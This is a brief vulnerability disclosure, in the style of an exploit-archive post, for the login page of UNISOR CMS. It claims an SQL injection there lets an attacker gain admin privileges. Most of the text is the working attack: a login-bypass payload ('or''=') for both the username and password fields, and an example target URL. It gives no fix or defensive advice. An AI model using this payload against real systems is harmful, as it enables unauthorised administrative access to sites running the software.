product:UNISOR CMS vendor:www.unisor.nl
there is an sql injection problem in UNISOR CMS login page and it can be exploited to gain admin privileges.
exploit:
user: 'or''=' pass: 'or''='
example:http://www.target.com/unisor/login.asp
thx